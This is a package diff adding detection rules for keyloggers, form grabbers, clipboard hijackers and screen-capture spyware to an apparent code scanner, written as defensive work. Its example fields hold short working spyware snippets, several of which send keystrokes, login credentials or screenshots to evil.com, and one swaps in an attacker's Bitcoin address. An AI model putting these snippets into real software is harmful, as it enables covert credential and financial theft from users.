secure-scan 1.2.2

package/dist/rules/malware/categories/keyloggers.js

@@ -0,0 +1,763 @@
+"use strict";
+/**
+ * @fileoverview Keylogger and Spyware Detection Rules
+ * @module rules/malware/categories/keyloggers
+ *
+ * Comprehensive rules for detecting keylogging and spyware including:
+ * - JavaScript keyloggers (browser-based)
+ * - System-level keyloggers (Python, C#, C/C++)
+ * - Form grabbers
+ * - Clipboard monitors
+ * - Screen capture malware
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.keyloggerRules = exports.screenCaptureRules = exports.clipboardMonitorRules = exports.systemKeyloggerRules = exports.jsKeyloggerRules = void 0;
+const types_1 = require("../types");
+// ============================================================================
+// JAVASCRIPT KEYLOGGER RULES
+// ============================================================================
+exports.jsKeyloggerRules = [
+    {
+        id: 'MAL-KEY-001',
+        name: 'JavaScript Keylogger - Event Listener',
+        description: 'Detects JavaScript code that captures keyboard events with potential data exfiltration.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.KEYLOGGER,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [types_1.SupportedLanguage.JAVASCRIPT, types_1.SupportedLanguage.TYPESCRIPT],
+        severity: types_1.MalwareSeverity.CRITICAL,
+        confidence: types_1.ConfidenceLevel.HIGH,
+        baseScore: 85,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'keydown-listener',
+                pattern: 'addEventListener\\s*\\([\'"]key(?:down|up|press)[\'"][\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|axios|sendBeacon|WebSocket)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Key event listener with network activity'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'onkey-handler',
+                pattern: '(?:document|window)\\.onkey(?:down|up|press)\\s*=\\s*function[\\s\\S]*?(?:http|fetch|send)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'onkey handler with network call'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'key-accumulator',
+                pattern: 'key(?:down|up|press)[\\s\\S]*?(?:push|concat|\\+=)[\\s\\S]*?(?:key|char|which|keyCode)',
+                flags: 'gis',
+                weight: 0.8,
+                description: 'Key accumulation pattern'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'input-monitor',
+                pattern: 'addEventListener\\s*\\([\'"]input[\'"][\\s\\S]*?(?:\\$\\.post|fetch|XMLHttpRequest)',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'Input monitoring with exfiltration'
+            }
+        ],
+        amplifyingPatterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'password-focus',
+                pattern: 'type\\s*[=:]\\s*[\'"]password[\'"]|\\[type=password\\]',
+                flags: 'gi',
+                weight: 0.5,
+                description: 'Password field targeting'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'hidden-exfil',
+                pattern: 'display\\s*:\\s*none|visibility\\s*:\\s*hidden|position\\s*:\\s*absolute[^}]*-9999',
+                flags: 'gi',
+                weight: 0.3,
+                description: 'Hidden exfiltration elements'
+            }
+        ],
+        falsePositivePatterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'analytics-context',
+                pattern: 'analytics|tracking|hotjar|mouseflow|fullstory',
+                flags: 'gi',
+                weight: 0.4,
+                description: 'Legitimate analytics tools'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `let keys = [];
+document.addEventListener('keydown', (e) => {
+  keys.push(e.key);
+  if (keys.length >= 20) {
+    fetch('https://evil.com/log', {
+      method: 'POST',
+      body: JSON.stringify({ keys: keys, url: location.href })
+    });
+    keys = [];
+  }
+});`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'Keylogger with batch exfiltration'
+            }
+        ],
+        falsePositiveExamples: [
+            {
+                code: `document.addEventListener('keydown', (e) => {
+  if (e.key === 'Escape') {
+    closeModal();
+  }
+});`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: false,
+                description: 'Legitimate keyboard shortcut handler'
+            }
+        ],
+        impact: {
+            technical: 'Captures and exfiltrates user keystrokes including passwords and sensitive data.',
+            business: 'Credential theft, data breach, identity theft risk.',
+            affectedAssets: ['User credentials', 'Sensitive input data'],
+            dataAtRisk: ['Passwords', 'Personal information', 'Financial data']
+        },
+        remediation: {
+            summary: 'Remove keylogger code and audit all keyboard event handlers.',
+            steps: [
+                'Remove the malicious event listeners',
+                'Audit all keyboard event handlers in the codebase',
+                'Implement Content Security Policy',
+                'Review third-party scripts',
+                'Consider using virtual keyboards for sensitive input'
+            ]
+        },
+        mitreAttack: [
+            {
+                tacticId: types_1.MitreTactic.CREDENTIAL_ACCESS,
+                tacticName: 'Credential Access',
+                techniqueId: 'T1056.001',
+                techniqueName: 'Keylogging',
+                url: 'https://attack.mitre.org/techniques/T1056/001/'
+            },
+            {
+                tacticId: types_1.MitreTactic.COLLECTION,
+                tacticName: 'Collection',
+                techniqueId: 'T1056',
+                techniqueName: 'Input Capture',
+                url: 'https://attack.mitre.org/techniques/T1056/'
+            }
+        ],
+        tags: ['keylogger', 'javascript', 'spyware', 'credential-theft', 'critical'],
+        enabled: true
+    },
+    {
+        id: 'MAL-KEY-002',
+        name: 'JavaScript Keylogger - Form Grabber',
+        description: 'Detects form submission interception and data stealing.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.CREDENTIAL_STEALER,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [types_1.SupportedLanguage.JAVASCRIPT, types_1.SupportedLanguage.TYPESCRIPT],
+        severity: types_1.MalwareSeverity.CRITICAL,
+        confidence: types_1.ConfidenceLevel.HIGH,
+        baseScore: 88,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'form-submit-intercept',
+                pattern: 'addEventListener\\s*\\([\'"]submit[\'"][\\s\\S]*?(?:fetch|XMLHttpRequest|ajax|\\$\\.post)',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'Form submit interception with exfil'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'form-data-grab',
+                pattern: 'new\\s+FormData\\s*\\([^)]*\\)[\\s\\S]*?(?:fetch|post|send)[\\s\\S]*?(?!same-origin)',
+                flags: 'gis',
+                weight: 0.8,
+                description: 'FormData extraction and sending'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'login-form-target',
+                pattern: 'querySelector\\s*\\([\'"][^\'\"]*(?:login|signin|password)[^\'\"]*[\'"]\\)[\\s\\S]*?(?:value|innerText)',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'Login form field extraction'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'parallel-exfil',
+                pattern: 'addEventListener\\s*\\([\'"]submit[\'"][\\s\\S]*?(?:Image|img)\\.src\\s*=',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Image beacon exfiltration on submit'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `document.querySelector('form[action*="login"]').addEventListener('submit', (e) => {
+  const formData = new FormData(e.target);
+  const img = new Image();
+  img.src = 'https://evil.com/steal?u=' + encodeURIComponent(formData.get('username')) + 
+            '&p=' + encodeURIComponent(formData.get('password'));
+});`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'Login form grabber with image beacon'
+            }
+        ],
+        impact: {
+            technical: 'Intercepts form submissions to steal credentials and sensitive data.',
+            business: 'Direct credential theft leading to account compromise.',
+            affectedAssets: ['User accounts', 'Login credentials'],
+            dataAtRisk: ['Usernames', 'Passwords', 'Form data']
+        },
+        remediation: {
+            summary: 'Remove form grabber and implement form submission monitoring.',
+            steps: [
+                'Remove malicious form event listeners',
+                'Audit all form submit handlers',
+                'Implement Subresource Integrity for scripts',
+                'Use CSP to restrict data exfiltration'
+            ]
+        },
+        mitreAttack: [
+            {
+                tacticId: types_1.MitreTactic.CREDENTIAL_ACCESS,
+                tacticName: 'Credential Access',
+                techniqueId: 'T1056.003',
+                techniqueName: 'Web Portal Capture',
+                url: 'https://attack.mitre.org/techniques/T1056/003/'
+            }
+        ],
+        tags: ['keylogger', 'form-grabber', 'credential-theft', 'critical'],
+        enabled: true
+    }
+];
+// ============================================================================
+// SYSTEM KEYLOGGER RULES
+// ============================================================================
+exports.systemKeyloggerRules = [
+    {
+        id: 'MAL-KEY-010',
+        name: 'Python Keylogger - pynput Library',
+        description: 'Detects Python keyloggers using the pynput library.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.KEYLOGGER,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [types_1.SupportedLanguage.PYTHON],
+        severity: types_1.MalwareSeverity.CRITICAL,
+        confidence: types_1.ConfidenceLevel.CONFIRMED,
+        baseScore: 90,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'pynput-listener',
+                pattern: 'pynput\\.keyboard\\.Listener\\s*\\(',
+                flags: 'gi',
+                weight: 0.9,
+                description: 'pynput keyboard listener'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'pynput-onpress',
+                pattern: 'on_press\\s*=\\s*(?:lambda|def)',
+                flags: 'gi',
+                weight: 0.8,
+                description: 'pynput on_press callback'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'keyboard-hook-log',
+                pattern: 'keyboard\\.on_(?:press|release)[\\s\\S]*?(?:write|append|log|send|post)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Keyboard hook with logging'
+            }
+        ],
+        amplifyingPatterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'file-write',
+                pattern: 'open\\s*\\([^)]+,\\s*[\'"][wa][\'"]\\)[\\s\\S]*?write',
+                flags: 'gis',
+                weight: 0.4,
+                description: 'File write operation'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'smtp-send',
+                pattern: 'smtplib\\.SMTP|sendmail',
+                flags: 'gi',
+                weight: 0.5,
+                description: 'Email sending capability'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `from pynput.keyboard import Key, Listener
+import logging
+
+logging.basicConfig(filename="keylog.txt", level=logging.DEBUG)
+
+def on_press(key):
+    logging.info(str(key))
+
+with Listener(on_press=on_press) as listener:
+    listener.join()`,
+                language: types_1.SupportedLanguage.PYTHON,
+                isMalicious: true,
+                description: 'Python keylogger with file logging'
+            }
+        ],
+        impact: {
+            technical: 'System-level keystroke capture on the host machine.',
+            business: 'Complete credential and data theft capability.',
+            affectedAssets: ['All user input', 'System credentials'],
+            dataAtRisk: ['All keystrokes', 'Passwords', 'Messages']
+        },
+        remediation: {
+            summary: 'Remove the keylogger script and investigate the installation vector.',
+            steps: [
+                'Remove the malicious Python script',
+                'Check for persistence mechanisms',
+                'Audit installed Python packages',
+                'Change all potentially compromised credentials'
+            ]
+        },
+        mitreAttack: [
+            {
+                tacticId: types_1.MitreTactic.CREDENTIAL_ACCESS,
+                tacticName: 'Credential Access',
+                techniqueId: 'T1056.001',
+                techniqueName: 'Keylogging',
+                url: 'https://attack.mitre.org/techniques/T1056/001/'
+            }
+        ],
+        tags: ['keylogger', 'python', 'pynput', 'spyware', 'critical'],
+        enabled: true
+    },
+    {
+        id: 'MAL-KEY-011',
+        name: 'Windows Keylogger - SetWindowsHookEx',
+        description: 'Detects Windows API-based keyloggers using SetWindowsHookEx.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.KEYLOGGER,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [types_1.SupportedLanguage.C, types_1.SupportedLanguage.CPP, types_1.SupportedLanguage.CSHARP],
+        severity: types_1.MalwareSeverity.CRITICAL,
+        confidence: types_1.ConfidenceLevel.CONFIRMED,
+        baseScore: 92,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'setwindowshookex-kb',
+                pattern: 'SetWindowsHookEx\\s*\\([^)]*WH_KEYBOARD',
+                flags: 'gi',
+                weight: 1.0,
+                description: 'Keyboard hook installation'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'lowlevelkeyboard',
+                pattern: 'SetWindowsHookEx\\s*\\([^)]*WH_KEYBOARD_LL',
+                flags: 'gi',
+                weight: 1.0,
+                description: 'Low-level keyboard hook'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'getasynckeystate',
+                pattern: 'GetAsyncKeyState\\s*\\([^)]*\\)',
+                flags: 'gi',
+                weight: 0.7,
+                description: 'GetAsyncKeyState polling'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'getkeystate',
+                pattern: 'GetKeyState\\s*\\([^)]*\\)',
+                flags: 'gi',
+                weight: 0.6,
+                description: 'GetKeyState polling'
+            }
+        ],
+        amplifyingPatterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'vk-codes',
+                pattern: 'VK_(?:BACK|TAB|RETURN|SHIFT|CONTROL|MENU|SPACE)',
+                flags: 'g',
+                weight: 0.3,
+                description: 'Virtual key code constants'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, 0);
+MSG msg;
+while (GetMessage(&msg, NULL, 0, 0)) {
+    TranslateMessage(&msg);
+    DispatchMessage(&msg);
+}`,
+                language: types_1.SupportedLanguage.CPP,
+                isMalicious: true,
+                description: 'Windows low-level keyboard hook'
+            }
+        ],
+        impact: {
+            technical: 'Low-level Windows keyboard hook capturing all keystrokes.',
+            business: 'Complete system credential and input compromise.',
+            affectedAssets: ['All Windows input', 'System credentials'],
+            dataAtRisk: ['All keystrokes', 'System passwords', 'Sensitive data']
+        },
+        remediation: {
+            summary: 'Remove the keylogger binary and clean the system.',
+            steps: [
+                'Terminate the malicious process',
+                'Remove the executable and any persistence',
+                'Scan system with antimalware tools',
+                'Reset all credentials'
+            ]
+        },
+        tags: ['keylogger', 'windows', 'hook', 'native', 'critical'],
+        enabled: true
+    },
+    {
+        id: 'MAL-KEY-012',
+        name: 'C# Keylogger - .NET Keyboard Hook',
+        description: 'Detects .NET-based keyloggers using keyboard hooks.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.KEYLOGGER,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [types_1.SupportedLanguage.CSHARP],
+        severity: types_1.MalwareSeverity.CRITICAL,
+        confidence: types_1.ConfidenceLevel.HIGH,
+        baseScore: 88,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'dotnet-hook',
+                pattern: '\\[DllImport\\([\'"]user32\\.dll[\'"]\\)\\][\\s\\S]*?SetWindowsHookEx',
+                flags: 'gis',
+                weight: 1.0,
+                description: '.NET SetWindowsHookEx import'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'keyboard-interceptor',
+                pattern: 'class\\s+\\w*(?:Keyboard|Key)(?:Logger|Hook|Interceptor)',
+                flags: 'gi',
+                weight: 0.7,
+                description: 'Keyboard interceptor class'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'rawkeyboard',
+                pattern: 'RawKeyboardHook|GlobalKeyboardHook',
+                flags: 'gi',
+                weight: 0.9,
+                description: 'Raw keyboard hook libraries'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `[DllImport("user32.dll")]
+public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc callback, IntPtr hInstance, uint threadId);
+
+private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
+    if (nCode >= 0) {
+        int vkCode = Marshal.ReadInt32(lParam);
+        StreamWriter sw = new StreamWriter(@"C:\\keylog.txt", true);
+        sw.Write((Keys)vkCode);
+        sw.Close();
+    }
+    return CallNextHookEx(_hookID, nCode, wParam, lParam);
+}`,
+                language: types_1.SupportedLanguage.CSHARP,
+                isMalicious: true,
+                description: 'C# keylogger with file logging'
+            }
+        ],
+        impact: {
+            technical: '.NET application capturing keyboard input.',
+            business: 'Credential theft through keyboard monitoring.',
+            affectedAssets: ['User input', 'Credentials'],
+            dataAtRisk: ['Keystrokes', 'Passwords']
+        },
+        remediation: {
+            summary: 'Remove the .NET keylogger and audit managed applications.',
+            steps: [
+                'Remove the malicious assembly',
+                'Check for .NET persistence',
+                'Audit installed .NET applications',
+                'Reset credentials'
+            ]
+        },
+        tags: ['keylogger', 'csharp', 'dotnet', 'windows', 'critical'],
+        enabled: true
+    }
+];
+// ============================================================================
+// CLIPBOARD MONITOR RULES
+// ============================================================================
+exports.clipboardMonitorRules = [
+    {
+        id: 'MAL-KEY-020',
+        name: 'Clipboard Stealer - Cryptocurrency Address Replacement',
+        description: 'Detects clipboard hijacking malware that replaces cryptocurrency addresses.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.CREDENTIAL_STEALER,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [
+            types_1.SupportedLanguage.JAVASCRIPT,
+            types_1.SupportedLanguage.PYTHON,
+            types_1.SupportedLanguage.CSHARP
+        ],
+        severity: types_1.MalwareSeverity.HIGH,
+        confidence: types_1.ConfidenceLevel.HIGH,
+        baseScore: 78,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'clipboard-monitor-js',
+                pattern: 'navigator\\.clipboard\\.(?:readText|read)\\s*\\([\\s\\S]*?(?:match|test|includes)[\\s\\S]*?(?:btc|bitcoin|ethereum|monero|0x)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'JS clipboard read with crypto detection'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'clipboard-replace',
+                pattern: 'navigator\\.clipboard\\.writeText\\s*\\([^)]*(?:wallet|address|0x)',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'Clipboard write with wallet address'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'pyperclip-monitor',
+                pattern: 'pyperclip\\.(?:paste|copy)[\\s\\S]*?(?:btc|bitcoin|eth|monero|wallet)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Python pyperclip with crypto'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'dotnet-clipboard',
+                pattern: 'Clipboard\\.(?:GetText|SetText)[\\s\\S]*?(?:Regex|Match)[\\s\\S]*?(?:btc|bitcoin|ethereum)',
+                flags: 'gis',
+                weight: 1.0,
+                description: '.NET clipboard with crypto regex'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `import pyperclip
+import re
+btc_pattern = r'^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$'
+attacker_wallet = '1Attacker...'
+while True:
+    clip = pyperclip.paste()
+    if re.match(btc_pattern, clip):
+        pyperclip.copy(attacker_wallet)`,
+                language: types_1.SupportedLanguage.PYTHON,
+                isMalicious: true,
+                description: 'BTC address clipboard replacer'
+            }
+        ],
+        impact: {
+            technical: 'Monitors and modifies clipboard content to steal cryptocurrency.',
+            business: 'Direct financial theft through address replacement.',
+            affectedAssets: ['Cryptocurrency wallets', 'Clipboard data'],
+            dataAtRisk: ['Cryptocurrency funds', 'Clipboard contents']
+        },
+        remediation: {
+            summary: 'Remove clipboard hijacker and verify all recent transactions.',
+            steps: [
+                'Remove the malicious script/application',
+                'Review recent cryptocurrency transactions',
+                'Enable clipboard access notifications',
+                'Verify addresses before transactions'
+            ]
+        },
+        mitreAttack: [
+            {
+                tacticId: types_1.MitreTactic.COLLECTION,
+                tacticName: 'Collection',
+                techniqueId: 'T1115',
+                techniqueName: 'Clipboard Data',
+                url: 'https://attack.mitre.org/techniques/T1115/'
+            }
+        ],
+        tags: ['clipboard', 'cryptocurrency', 'stealer', 'high'],
+        enabled: true
+    },
+    {
+        id: 'MAL-KEY-021',
+        name: 'Clipboard Monitor - General Data Theft',
+        description: 'Detects general clipboard monitoring for data theft.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.DATA_EXFILTRATION,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [
+            types_1.SupportedLanguage.JAVASCRIPT,
+            types_1.SupportedLanguage.TYPESCRIPT,
+            types_1.SupportedLanguage.PYTHON
+        ],
+        severity: types_1.MalwareSeverity.MEDIUM,
+        confidence: types_1.ConfidenceLevel.MEDIUM,
+        baseScore: 60,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'clipboard-interval',
+                pattern: 'setInterval[\\s\\S]*?navigator\\.clipboard\\.readText',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'Periodic clipboard reading'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'clipboard-exfil',
+                pattern: 'navigator\\.clipboard\\.readText[\\s\\S]*?(?:fetch|XMLHttpRequest|sendBeacon)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Clipboard read with exfiltration'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `setInterval(async () => {
+  const clip = await navigator.clipboard.readText();
+  if (clip !== lastClip) {
+    fetch('/log', { method: 'POST', body: clip });
+    lastClip = clip;
+  }
+}, 1000);`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'Clipboard monitoring with exfiltration'
+            }
+        ],
+        impact: {
+            technical: 'Continuous clipboard monitoring and data exfiltration.',
+            business: 'Data theft of copied sensitive information.',
+            affectedAssets: ['Clipboard data'],
+            dataAtRisk: ['Passwords', 'API keys', 'Sensitive text']
+        },
+        remediation: {
+            summary: 'Remove clipboard monitor and audit clipboard permissions.',
+            steps: [
+                'Remove the monitoring code',
+                'Review clipboard permission grants',
+                'Audit for similar patterns'
+            ]
+        },
+        tags: ['clipboard', 'monitor', 'exfiltration', 'medium'],
+        enabled: true
+    }
+];
+// ============================================================================
+// SCREEN CAPTURE RULES
+// ============================================================================
+exports.screenCaptureRules = [
+    {
+        id: 'MAL-KEY-030',
+        name: 'Screen Capture Malware',
+        description: 'Detects screen capture functionality used for spyware.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.DATA_EXFILTRATION,
+        category: types_1.MalwareCategory.SPYWARE,
+        languages: [
+            types_1.SupportedLanguage.JAVASCRIPT,
+            types_1.SupportedLanguage.PYTHON,
+            types_1.SupportedLanguage.CSHARP
+        ],
+        severity: types_1.MalwareSeverity.HIGH,
+        confidence: types_1.ConfidenceLevel.MEDIUM,
+        baseScore: 70,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'js-screen-capture',
+                pattern: 'getDisplayMedia[\\s\\S]*?(?:fetch|XMLHttpRequest|WebSocket|sendBeacon)',
+                flags: 'gis',
+                weight: 0.8,
+                description: 'Screen capture with exfiltration'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'canvas-exfil',
+                pattern: 'canvas[\\s\\S]*?toDataURL[\\s\\S]*?(?:fetch|XMLHttpRequest|post)',
+                flags: 'gis',
+                weight: 0.7,
+                description: 'Canvas capture with exfiltration'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'python-screenshot',
+                pattern: '(?:PIL|pyautogui|mss)\\.(?:screenshot|grab)[\\s\\S]*?(?:send|post|upload)',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'Python screenshot with upload'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'dotnet-screenshot',
+                pattern: 'Graphics\\.CopyFromScreen[\\s\\S]*?(?:Upload|WebClient|HttpClient)',
+                flags: 'gis',
+                weight: 0.9,
+                description: '.NET screenshot with upload'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `import pyautogui
+import requests
+while True:
+    screenshot = pyautogui.screenshot()
+    screenshot.save('screen.png')
+    requests.post('http://evil.com/upload', files={'img': open('screen.png', 'rb')})
+    time.sleep(60)`,
+                language: types_1.SupportedLanguage.PYTHON,
+                isMalicious: true,
+                description: 'Periodic screenshot exfiltration'
+            }
+        ],
+        impact: {
+            technical: 'Captures and exfiltrates screen content.',
+            business: 'Visual data theft including sensitive displayed information.',
+            affectedAssets: ['Screen content', 'Displayed data'],
+            dataAtRisk: ['Visible documents', 'Financial data', 'Personal information']
+        },
+        remediation: {
+            summary: 'Remove screen capture malware and audit display permissions.',
+            steps: [
+                'Remove the malicious code',
+                'Review screen capture permissions',
+                'Audit for persistence mechanisms'
+            ]
+        },
+        tags: ['screenshot', 'spyware', 'exfiltration', 'high'],
+        enabled: true
+    }
+];
+// ============================================================================
+// EXPORT ALL KEYLOGGER RULES
+// ============================================================================
+exports.keyloggerRules = [
+    ...exports.jsKeyloggerRules,
+    ...exports.systemKeyloggerRules,
+    ...exports.clipboardMonitorRules,
+    ...exports.screenCaptureRules
+];
+exports.default = exports.keyloggerRules;
+//# sourceMappingURL=keyloggers.js.map